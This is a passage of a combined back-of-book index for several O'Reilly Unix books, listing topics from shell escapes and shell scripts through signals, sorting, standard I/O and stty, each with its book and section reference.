shell escapes : UNIX Power Tools, 30.26. Shell Escapes: Running One UNIX Command While Using Another
starting a subshell : UNIX Power Tools, 38.4. Subshells
shell functions : UNIX Power Tools, 10.9. Shell Functions
simulated : UNIX Power Tools, 10.10. Simulated Bourne Shell Functions and Aliases
shell metacharacters : (see metacharacters/wildcards)
shell parameters, with simulated functions : UNIX Power Tools, 10.10. Simulated Bourne Shell Functions and Aliases
shell prompt
Learning the UNIX Operating System, 1.1.2. Logging In
Learning the UNIX Operating System, 1.1.5. The Shell Prompt
shell prompts
backspacing over : UNIX Power Tools, 41.5. Why Some Systems Backspace over Prompts
PS1, PS2 variables : UNIX Power Tools, 6.3. Predefined Environment Variables
setting : UNIX Power Tools, 7.1. Why Change Your Prompt?
typing commands at : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
shell scripts
UNIX Power Tools, 1.12. What Makes a Shell Script?
UNIX Power Tools, 38.4. Subshells
UNIX Power Tools, 44.1. Everyone Should Learn Some Shell Programming
UNIX Power Tools, 44.3.2. Interactive Use vs. Shell Scripts
UNIX in a Nutshell, 3.2.3. Programming
(see scripts)
arguments passed to : UNIX Power Tools, 1.5. Anyone Can Program the Shell
for background processes : UNIX in a Nutshell, Chapter 2, Reference: wait
commenting
UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
UNIX Power Tools, 45.2. The Story of : # #!
control characters in : UNIX Power Tools, 45.35. Using a Control Character in a Script
directories : UNIX Power Tools, 1.10. Internal and External Commands
on enclosed CD-ROM : UNIX Power Tools, 52.1. Introduction
-f option
UNIX Power Tools, 45.2. The Story of : # #!
UNIX Power Tools, 45.3. Don't Need a Shell for Your Script? Don't Use One
for loop : Learning the vi Editor, 7.4.1. Looping in a Shell Script
here documents : Learning the vi Editor, 7.4.2. Here Documents
highlighting prompts issued by : UNIX Power Tools, 41.10. Using terminfo Capabilities in Shell Programs
interrupted : UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
job control via : UNIX in a Nutshell, Chapter 2, Reference: jsh
naming : UNIX Power Tools, 44.21. Picking a Name for a New Command
nonexecutable : UNIX Power Tools, 4.3. Organizing Nonexecutable Scripts
permissions
UNIX Power Tools, 22.19. Shell Scripts Must be Readable and (Usually) Executable
UNIX Power Tools, 44.2. Writing a Simple Shell Program
(see also permissions)
reading files line-by-line : UNIX Power Tools, 45.22. Handling Files Line-by-Line
reading from standard input
UNIX Power Tools, 45.24. A Shell Can Read a Script from its Standard Input, But...
UNIX Power Tools, 45.25. Shell Scripts On-the-Fly from Standard Input
reading from terminal : UNIX in a Nutshell, Chapter 2, Reference: line
running
UNIX Power Tools, 45.2. The Story of : # #!
UNIX Power Tools, 45.3. Don't Need a Shell for Your Script? Don't Use One
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
UNIX in a Nutshell, Chapter 2, Reference: lptest
running as a daemon : UNIX Power Tools, 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
self-printing : UNIX Power Tools, 45.4. Fun with #!
self-removing
UNIX Power Tools, 45.4. Fun with #!
UNIX Power Tools, 45.10. Removing a File Once It's Opened - for Security and Easy Cleanup
self-renaming : UNIX Power Tools, 45.4. Fun with #!
sourceable : UNIX Power Tools, 10.5. Sourceable Scripts
sourcing : UNIX Power Tools, 44.23. Reading Files with the . and source Commands
submitting for execution at a later time : UNIX Power Tools, 40.3. The at Command
terminfo capabilities in : UNIX Power Tools, 41.10. Using terminfo Capabilities in Shell Programs
throwaway : UNIX Power Tools, 9.15. Throwaway Scripts for Complicated Commands
variables set by : UNIX Power Tools, 46.3. Bourne Shell Debugger Shows a Shell Variable
without using shell : UNIX Power Tools, 45.2. The Story of : # #!
-xv option : UNIX Power Tools, 46.1.1. Use -xv
shell setup files
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
SHELL variable
Learning the Korn Shell, 3.4.3.1. Miscellaneous Variables
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, 4.3.3. Other Shell Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
shell variables
UNIX Power Tools, 14.10. Variables Help You Find Directories and Files
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
(see also environment variables; variables; under specific variable name)
csh shell : UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
editing : UNIX Power Tools, 9.7. String Editing in ksh and bash
eval command and
UNIX Power Tools, 8.10. eval: When You Need Another Chance
UNIX Power Tools, 10.10. Simulated Bourne Shell Functions and Aliases
iterating over arguments : UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
list of : Learning the Korn Shell, B.3. Built-in Shell Variables
setting : UNIX Power Tools, 6.8. Shell Variables
sh and ksh shells : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
shell wildcards : (see metacharacters/wildcards)
shell wrappers : UNIX Power Tools, 34.3. Testing and Using a sed Script: checksed, runsed
shells
Learning the UNIX Operating System, 1.1.4. The UNIX Shell
UNIX Power Tools, 1.2. Who Listens to What You Type?
UNIX Power Tools, 11.13. Shell Command-Line Editing
UNIX Power Tools, 44.3. What's a Shell, Anyway?
UNIX Power Tools, 44.3.3. Types of Shells
sed & awk, 1.4. Four Hurdles to Mastering sed and awk
sed & awk, 2.3.1. Specifying Simple Instructions
(see also command interpreters; command line)
(see also under specific shell name)
(see also under specific shell name)
approved : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
as controlling process : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
curly braces in
UNIX Power Tools, 1.16. Wildcards
UNIX Power Tools, 1.18. Who Handles Wildcards?
customizing : UNIX Power Tools, 2.1. Customizing the Shell
executing commands from vi : Learning the vi Editor, 7.2. Executing UNIX Commands
executing external commands : UNIX Power Tools, 1.11. How the Shell Executes Other Commands
giving absolute pathnames to : UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
interpreting commands : UNIX Power Tools, 8.1. What the Shell Does
invoking
UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
UNIX in a Nutshell, 4.8. Invoking the Shell
UNIX in a Nutshell, 5.8. Invoking the Shell
login shells : UNIX Power Tools, 51.9. Making a "Login" Shell
multiple
controlling from one terminal : UNIX in a Nutshell, Chapter 2, Reference: shl
multiple shell sessions : UNIX Power Tools, 12.9. Running Multiple Shell Sessions with screen
overview of : UNIX in a Nutshell, 3. The UNIX Shell: An Overview
passing command history to : UNIX Power Tools, 11.12. Pass History to Another Shell
programming : UNIX Power Tools, 1.5. Anyone Can Program the Shell
programming shell scripts : Learning the UNIX Operating System, 7.3. Programming
reading scripts
UNIX Power Tools, 45.24. A Shell Can Read a Script from its Standard Input, But...
UNIX Power Tools, 45.25. Shell Scripts On-the-Fly from Standard Input
references for further reading : Learning the UNIX Operating System, A.3. Shells
restricted : UNIX in a Nutshell, 4.9. Restricted Shells
running : UNIX Power Tools, 1.9. Which Shell Am I Running?
running programs without : UNIX Power Tools, 45.3. Don't Need a Shell for Your Script? Don't Use One
selecting : UNIX Power Tools, 1.8. There Are Many Shells
starting a subshell from : UNIX Power Tools, 38.4. Subshells
syntax : UNIX Power Tools, 13.1. Using Standard Input and Output
temporary files : UNIX Power Tools, 21.3. Unique Names for Temporary Files
tokens : (see tokens)
types (flavors) of : UNIX in a Nutshell, 3.3. Shell Flavors
types of : UNIX Power Tools, 44.3.3. Types of Shells
understanding # as comment : UNIX Power Tools, 45.3. Don't Need a Shell for Your Script? Don't Use One
-v option : UNIX Power Tools, 45.25. Shell Scripts On-the-Fly from Standard Input
variants of : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
shells file : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
shellutils : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
shift
Learning the Korn Shell, 6.1.1. shift
Learning the Korn Shell, 6.1.3. getopts
shift command
UNIX Power Tools, 44.17. Handling Arguments with while and shift
UNIX Power Tools, 45.15. How to Unset all Command-Line Parameters
examples
UNIX Power Tools, 44.17. Handling Arguments with while and shift
UNIX Power Tools, 45.15. How to Unset all Command-Line Parameters
handling command-line arguments : UNIX Power Tools, 44.17. Handling Arguments with while and shift
in Bourne shell : UNIX Power Tools, 47.5. Using C Shell Arrays
in C shells : UNIX Power Tools, 47.5. Using C Shell Arrays
in while loops : UNIX Power Tools, 44.17. Handling Arguments with while and shift
removing command-line arguments : UNIX Power Tools, 44.15.2. With a Loop
unsetting command line parameters : UNIX Power Tools, 45.15. How to Unset all Command-Line Parameters
shift command (csh) : UNIX in a Nutshell, Chapter 5, Reference: shift
shift command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: shift
shl command : UNIX in a Nutshell, Chapter 2, Reference: shl
SHLVL environment variable : UNIX Power Tools, 7.9. Show Subshell Level with $SHLVL
shortcuts, keyboard : Learning the UNIX Operating System, 2.5.4. The Window Menu
showmatch script
UNIX Power Tools, 26.6. Just What Does a Regular Expression Match?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
shrink-wrapped software for UNIX : UNIX Power Tools, 52.3. Shrink-Wrapped Software for UNIX
shutdown command
UNIX in a Nutshell, Chapter 2, Reference: shutdown
(see also halt command; reboot command)
shutdown program : UNIX Power Tools, 1.14. The Kernel and Daemons
Sierra, Mike : UNIX Power Tools, 7.5. Multiline Shell Prompts
signal handling : UNIX Power Tools, 38.8. What Are Signals?
in Bourne shells : UNIX Power Tools, 45.8. Handling Signals to Child Processes
of subprocesses : UNIX Power Tools, 45.8. Handling Signals to Child Processes
signal names/numbers for trap command : UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
signals
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.3. Signals
ALRM
Learning the Korn Shell, A.6. Workalikes on PC Platforms
Learning the Korn Shell, A.7. The Future of the Korn Shell
DEBUG : (see fake signals)
description : Learning the Korn Shell, 8.3. Signals
effect of on processes : Learning the Korn Shell, 8.3.2. kill
ERR : (see fake signals)
EXIT : (see fake signals)
fake : (see fake signals)
HUP (hangup)
Learning the Korn Shell, 8.4.3. Ignoring Signals
UNIX Power Tools, 38.8. What Are Signals?
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
ignoring : Learning the Korn Shell, 8.4.3. Ignoring Signals
INT
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the Korn Shell, 8.3.2. kill
Learning the Korn Shell, 8.4. trap
Learning the Korn Shell, 8.4.1. Traps and Functions
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
Learning the Korn Shell, 9.1.2.1. EXIT
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
Learning the Korn Shell, A.6. Workalikes on PC Platforms
KILL
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the Korn Shell, 8.3.2. kill
Learning the Korn Shell, 8.3.3.1. System V
lack of propagation to subshells
Learning the Korn Shell, 8.6.1. Subshell Inheritance
Learning the Korn Shell, A.7. The Future of the Korn Shell
listing : Learning the Korn Shell, 8.3. Signals
other types of : Learning the Korn Shell, 8.3.1. Control-key Signals
in POSIX shell : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
propagation to subshells in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
QUIT
Learning the Korn Shell, 8.3.1. Control-key Signals
Learning the Korn Shell, 8.3.2. kill
Learning the Korn Shell, 8.3.3.1. System V
sending with control keys : Learning the Korn Shell, 8.3.1. Control-key Signals
shown in background job status messages : Learning the Korn Shell, 8.3.2. kill
specifying in trap command : Learning the Korn Shell, 8.4. trap
STOP : Learning the Korn Shell, A.6. Workalikes on PC Platforms
TERM
Learning the Korn Shell, 8.3.2. kill
Learning the Korn Shell, 8.4. trap
Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
Learning the Korn Shell, 9.1.2.1. EXIT
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
trapping : (see traps)
TSTP
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.3.1. Control-key Signals
signals, interprocess communication : UNIX Power Tools, 38.8. What Are Signals?
signals, tracing : UNIX in a Nutshell, Chapter 2, Reference: truss
signals, trapping : UNIX Power Tools, 47.2.3. Signals
signing on to system : UNIX in a Nutshell, Chapter 2, Reference: login
SIGWINCH (window changed) signal : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
sin() : sed & awk, 9.1.1. Trigonometric Functions
sin command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: sin
sine function : UNIX Power Tools, 49.4. bc's Sine and Cosine Are in Radians
single quotation marks (')
sed & awk, 2.2. Command-Line Syntax
sed & awk, 2.3.1. Specifying Simple Instructions
single quotes : (see ')
single-user operating systems : Learning the UNIX Operating System, The UNIX Operating System
size command : UNIX in a Nutshell, Chapter 2, Reference: size
Size menu item (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
size, file : (see files, size of)
size, windows : Learning the UNIX Operating System, 2.5.3. Resizing Windows
sl script
UNIX Power Tools, 18.8. Showing the Actual Filenames for Symbolic Links
UNIX Power Tools, 21.8.1.3. Watching Directories
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
slash : (see /)
sleep : Learning the Korn Shell, 8.4. trap
sleep command
UNIX Power Tools, 3.1. Running Commands When You Log Out
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
UNIX Power Tools, 40.1. Off-Peak Job Submission
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: sleep
in C shell : UNIX Power Tools, 47.2.2.1. Built-Ins
examples
UNIX Power Tools, 45.8. Handling Signals to Child Processes
UNIX Power Tools, 47.2.2.1. Built-Ins
keeping port settings : UNIX Power Tools, 41.6. Using sleep to Keep Port Settings
in leave program : UNIX Power Tools, 48.5. leave: A Maddening Aid to Quitting on Time
uses of : UNIX Power Tools, 40.2. Waiting a Little While: sleep
sls program
UNIX Power Tools, 16.29. sls: Super ls with Format You Can Choose
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
smart echoing : UNIX Power Tools, 41.5. Why Some Systems Backspace over Prompts
smiley program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
smileys : UNIX Power Tools, 51.12. You Don't Have Enough Smileys?
SNOBOL : Learning the Korn Shell, 4.2. Shell Variables
.so requests, eliminating in nroff or troff files : UNIX in a Nutshell, Chapter 2, Reference: soelim
soelim command : UNIX in a Nutshell, Chapter 2, Reference: soelim
soft disk quota limits : UNIX Power Tools, 24.17. Disk Quotas
soft links : (see symbolic links)
soft mounting of NFS : UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
software
on enclosed CD-ROM
UNIX Power Tools, 52.1. Introduction
UNIX Power Tools, 52.6. Don't Have a CD-ROM Drive?
installation programs : UNIX Power Tools, 52.5.3. Installing Pre-Compiled Binaries
source code
UNIX Power Tools, 52.7. Other Ways to Get the Software
UNIX Power Tools, 52.8. Building Programs from Source Code
Solaris 2.0 : UNIX in a Nutshell, 1.1. Merging the Traditions
generating index for : UNIX in a Nutshell, Chapter 2, Reference: ptx
sort command
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 1.8. Background Jobs
Learning the Korn Shell, 1.8.1. Background I/O
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 7.2.2. read
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the UNIX Operating System, 5.2.2. sort
UNIX Power Tools, 36.2. Sort Fields: How sort Sorts
sed & awk, 2.5. Using sed and awk Together
UNIX in a Nutshell, Chapter 2, Reference: sort
(see also comm command; join command; uniq command)
example of (sed)
sed & awk, 9.3.1. Writing a Sort Function
sed & awk, 9.3.3. Another Sorted Example
unique parameter : UNIX Power Tools, 36.6.1. Dealing with Repeated Lines
sorting
alphabetic vs. numeric : UNIX Power Tools, 36.5. Alphabetic and Numeric Sorting
array elements (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
case-insensitive : UNIX Power Tools, 36.6.2. Ignoring Blanks
dictionary order : UNIX Power Tools, 36.6.3. Case-Insensitive Sorts
fields : UNIX Power Tools, 36.2. Sort Fields: How sort Sorts
files : UNIX in a Nutshell, Chapter 2, Reference: tsort
joining lines of sorted files : UNIX in a Nutshell, Chapter 2, Reference: join
removing duplicate lines : UNIX in a Nutshell, Chapter 2, Reference: uniq
ignoring blanks : UNIX Power Tools, 36.6.1. Dealing with Repeated Lines
by last name : UNIX Power Tools, 36.9. Sorting a List of People by Last Name
lines in files
Learning the UNIX Operating System, 5.2.2. sort
UNIX Power Tools, 36.8. lensort: Sort Lines by Length
month order : UNIX Power Tools, 36.6.4. Dictionary Order
multiline entries : UNIX Power Tools, 36.7. Sorting Multiline Entries
reverse sort : UNIX Power Tools, 36.6.5. Month Order
text blocks : Learning the vi Editor, 7.4.3. Sorting Text Blocks: A Sample ex Script
Source Code Control System : (see SCCS)
source code, obtaining : (see obtaining)
source command
in C shell : UNIX Power Tools, 47.2.2.1. Built-Ins
redirecting : UNIX Power Tools, 47.2.2.1. Built-Ins
source command (csh) : UNIX in a Nutshell, Chapter 5, Reference: source
source command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: source
source command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: source
source files, sending : UNIX in a Nutshell, Chapter 2, Reference: uuto
--source option (gawk) : sed & awk, 11.2.3.1. Command line options
sourceable scripts : UNIX Power Tools, 10.5. Sourceable Scripts
SOURCEDIR, CD-ROM : UNIX Power Tools, 52.8.1. Running the Build Scripts
sourcing shell scripts : UNIX Power Tools, 44.23. Reading Files with the . and source Commands
in C shell : UNIX Power Tools, 47.2.2.1. Built-Ins
spacing : (see whitespace)
span, character
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.8. A Span of Characters
sparse files : UNIX Power Tools, 24.18. Huge Files Might Not Take a Lot of Disk Space
spaste program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
spawning processes : UNIX Power Tools, 38.2. fork and exec
special characters
Learning the Korn Shell, 4.2.2. More on Variable Syntax
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
sed & awk, 2.3.1. Specifying Simple Instructions
sed & awk, 3. Understanding Regular Expression Syntax
(see also escape sequences, awk; metacharacters/wildcards; pattern matching)
in Bourne shell (sh) : UNIX Power Tools, 8.14.1. Special Characters
cat command for viewing : UNIX Power Tools, 25.6. What's in That White Space?
codes for writing : UNIX Power Tools, 41.11.1. Special Character Codes
escape : UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
in filenames : UNIX Power Tools, 1.15. Filenames
filenames with
UNIX Power Tools, 8.16. Quoting Handles Special Characters in Filenames
UNIX Power Tools, 16.14. Showing Non-Printable Characters in Filenames
UNIX Power Tools, 23.11. Deleting Files with Odd Names
special filenames
sed & awk, 11.2.1.4. Special filenames
sed & awk, 11.2.3.7. Additional special files
special keys, characters sent by : UNIX Power Tools, 41.12. Finding Out What Characters Your Terminal's Special Keys Send
speed : (see performance)
@speed, <speed, >speed calculations : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
spell : Learning the Korn Shell, 4.1. Shell Scripts and Functions
spell checker program (example) : sed & awk, 12.1. An Interactive Spelling Checker
spell checking
UNIX Power Tools, 27.18. Fast Searches and Spelling Checks with "look"
UNIX Power Tools, 29.1. The UNIX spell Command
ispell program : UNIX Power Tools, 29.2. Check Spelling Interactively with ispell
spell command
UNIX Power Tools, 29.1. The UNIX spell Command
UNIX Power Tools, 29.3. How Do I Spell That Word?
UNIX in a Nutshell, Chapter 2, Reference: spell
(see also ispell program)
-v option : UNIX Power Tools, 29.4. Inside spell
-x option : UNIX Power Tools, 29.4. Inside spell
spellcheck.awk program : sed & awk, C.1. Full Listing of spellcheck.awk
spellhist file : UNIX Power Tools, 29.4. Inside spell
spellprog program : UNIX Power Tools, 29.4. Inside spell
split command : UNIX in a Nutshell, Chapter 2, Reference: split
split command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: split
split command, loops using : UNIX Power Tools, 45.18.2. Use with Loops
split program : UNIX Power Tools, 35.9. Splitting Files at Fixed Points: split
split()
sed & awk, 8.4.4. Using split() to Create Arrays
sed & awk, 9.2. String Functions
sed & awk, 11.2.1.2. Obtaining individual characters
splitting files : UNIX in a Nutshell, Chapter 2, Reference: csplit
Spool was an acronym - Simultaneous Printing Off and On Line. : UNIX Power Tools, 43.1. Introduction to Printing
spooling system : UNIX Power Tools, 43.1. Introduction to Printing
symbolic links : UNIX Power Tools, 43.5. Using Symbolic Links for Spooling
spreadsheets, calculators vs. : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
sprintf command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: sprintf
sprintf() : sed & awk, 9.2. String Functions
sqrt command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: sqrt
sqrt() : sed & awk, 9.1.1. Trigonometric Functions
squoze script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
srand command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: srand
srand() : sed & awk, 9.1.3. Random Number Generation
srchtxt command : UNIX in a Nutshell, Chapter 2, Reference: srchtxt
stack, directory : UNIX Power Tools, 14.6. The Shells' pushd and popd Commands
stacks : Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
stale symbolic links : UNIX Power Tools, 18.5. Creating and Removing Links
stalled data connections : UNIX Power Tools, 42.2.4. Stalled Data Connection?
Stallman, Richard : Learning the Korn Shell, A.5. bash
standard error
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the Korn Shell, 7.1.2. File Descriptors
UNIX Power Tools, 13.3. Send (only) Standard Error Down a Pipe
UNIX Power Tools, 44.9. Testing Your Success
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
UNIX Power Tools, 47.2.1.1. Writing Files
(see also debugging; errors)
piping to pager : UNIX Power Tools, 46.1.1. Use -xv
redirecting
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
UNIX Power Tools, 45.21. n>&m: Swap Standard Output and Standard Error
UNIX Power Tools, 47.2.1.1. Writing Files
saving to file : Learning the Korn Shell, 7.1.2. File Descriptors
standard input
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the UNIX Operating System, 5.1. Standard Input and Standard Output
UNIX Power Tools, 13.1. Using Standard Input and Output
UNIX Power Tools, 13.13. The "Filename" -
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
sed & awk, 2.2. Command-Line Syntax
(see also I/O)
in Bourne shell : UNIX Power Tools, 47.2.1.2. Reading Files
in C shell : UNIX Power Tools, 47.2.1.2. Reading Files
copying
UNIX in a Nutshell, Chapter 2, Reference: tee
UNIX in a Nutshell, Chapter 2, Reference: tr
UNIX in a Nutshell, Chapter 2, Reference: vc
including directly on cron command line : UNIX Power Tools, 40.14. Including Standard Input Within a cron Entry
inheritance by subshells : Learning the Korn Shell, 8.6.1. Subshell Inheritance
in kshdb break conditions : Learning the Korn Shell, 9.2.3.4. Break conditions
reading scripts from
UNIX Power Tools, 45.24. A Shell Can Read a Script from its Standard Input, But...
UNIX Power Tools, 45.25. Shell Scripts On-the-Fly from Standard Input
redirecting : (see redirection)
standard output
Learning the Korn Shell, 1.7.1. Standard I/O
Learning the UNIX Operating System, 5.1. Standard Input and Standard Output
UNIX Power Tools, 45.20. Overview: Open Files and File Descriptors
UNIX Power Tools, 46.1.1. Use -xv
sed & awk, 2.2. Command-Line Syntax
(see also I/O)
in Bourne shell : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
in C shell : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
debugging
UNIX Power Tools, 46.1.1. Use -xv
(see also debugging)
inheritance by subshells : Learning the Korn Shell, 8.6.1. Subshell Inheritance
in kshdb break conditions : Learning the Korn Shell, 9.2.3.4. Break conditions
redirecting : (see redirection)
start of line : (see ^ (circumflex))
start of word : (see \<, \> escape sequences)
stat program
UNIX Power Tools, 1.22. How UNIX Keeps Track of Files: Inodes
UNIX Power Tools, 21.13. Read an Inode with stat
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
state, job : UNIX Power Tools, 12.6. Notification When Jobs Change State
state, revision (RCS) : UNIX in a Nutshell, 18.3.6. Specifying States
statements, awk : sed & awk, B.2.6. Statements and Functions
status command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: status
status command (lpc) : UNIX Power Tools, 43.3. Printer Control with lpc
status shell variable : UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
status shell varible : UNIX Power Tools, 6.9. Special C Shell Variables
status variable
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
(see also exit status)
stderr : (see standard error)
stdin : (see standard input)
stdout : (see standard output)
stem-derivative rule : UNIX Power Tools, 29.4. Inside spell
step command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: step
stepi command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: stepi
sticky bit
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 1.25. Access to Directories
UNIX Power Tools, 22.6. Protecting Files with the Sticky Bit
stop command : UNIX Power Tools, 12.5. System Overloaded? Try Stopping Some Jobs
stop command (csh) : UNIX in a Nutshell, Chapter 5, Reference: stop
stop command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: stop
stop command (ksh, sh) : UNIX in a Nutshell, Chapter 4, Reference: stop
stop list, spelling : UNIX Power Tools, 29.4. Inside spell
STOP signal : UNIX Power Tools, 38.8. What Are Signals?
stopi command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: stopi
stopped jobs : Learning the UNIX Operating System, 1.1.8.1. Problem checklist
stopping sed scripts : (see q command (sed))
stream editor
sed & awk, 1.2. A Stream Editor
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 4.4.4. Edits To Go
(see sed editor)
stream editors : UNIX in a Nutshell, Chapter 2, Reference: sed
stree script
UNIX Power Tools, 16.19. stree: Simple Directory Tree
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
strftime() : sed & awk, 11.2.3.11. Time management for programmers
string capabilities : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
string I/O : (see print, read)
string operators
Learning the Korn Shell, 4.3. String Operators
Learning the Korn Shell, A.1. The Bourne Shell
# (length) : Learning the Korn Shell, 4.3.4. Length Operator
:+
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 5.2. for
:-
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 9.2.3.4. Break conditions
:= : Learning the Korn Shell, 4.3.1. Syntax of String Operators
:?
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
summary of functionality : Learning the Korn Shell, 4.3. String Operators
syntax : Learning the Korn Shell, 4.3.1. Syntax of String Operators
strings
sed & awk, 3.1. That's an Expression
sed & awk, 7.6. Expressions
comparing : sed & awk, 9.2.5. The match() Function
concatenating : sed & awk, 7.6. Expressions
converting from numbers : sed & awk, 7.7. System Variables
editing
csh : UNIX Power Tools, 9.6. String Editing (Colon) Operators
ksh and bash : UNIX Power Tools, 9.7. String Editing in ksh and bash
editing operators : (see operators, string editing)
fixed : (see fixed strings)
functions for : sed & awk, 9.2. String Functions
length of : sed & awk, 9.2.2. String Length
limitations on : sed & awk, 10.8. Limitations
parsing into array elements
sed & awk, 8.4.4. Using split() to Create Arrays
sed & awk, 11.2.1.2. Obtaining individual characters
printing : UNIX in a Nutshell, Chapter 2, Reference: printf
processing, nroff/troff requests for : UNIX in a Nutshell, 12.5.10. Macro and String Processing
substitution functions (awk)
sed & awk, 9.2.3. Substitution Functions
sed & awk, 11.2.3.10. A general substitution function
substrings : sed & awk, 9.2.1. Substrings
strings command : UNIX in a Nutshell, Chapter 2, Reference: strings
strip command
UNIX Power Tools, 24.13. Save Space in Executable Files with strip
UNIX in a Nutshell, Chapter 2, Reference: strip
stripper script
UNIX Power Tools, 24.13. Save Space in Executable Files with strip
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
stripping non-printable characters : sed & awk, 5.6.1. Stripping Out Non-Printable Characters from nroff Files
stty : Learning the Korn Shell, 1.9.5. Control Keys
to customize control-key signals : Learning the Korn Shell, 8.3.1. Control-key Signals
stty command
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 5.9. Setting Your Erase, Kill, and Interrupt Characters
UNIX Power Tools, 41.1. Delving a Little Deeper
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: stty
changing communication parameters on the fly : UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
finding out terminal settings with : UNIX Power Tools, 41.3. Find Out Terminal Settings with stty
stty -a command : UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
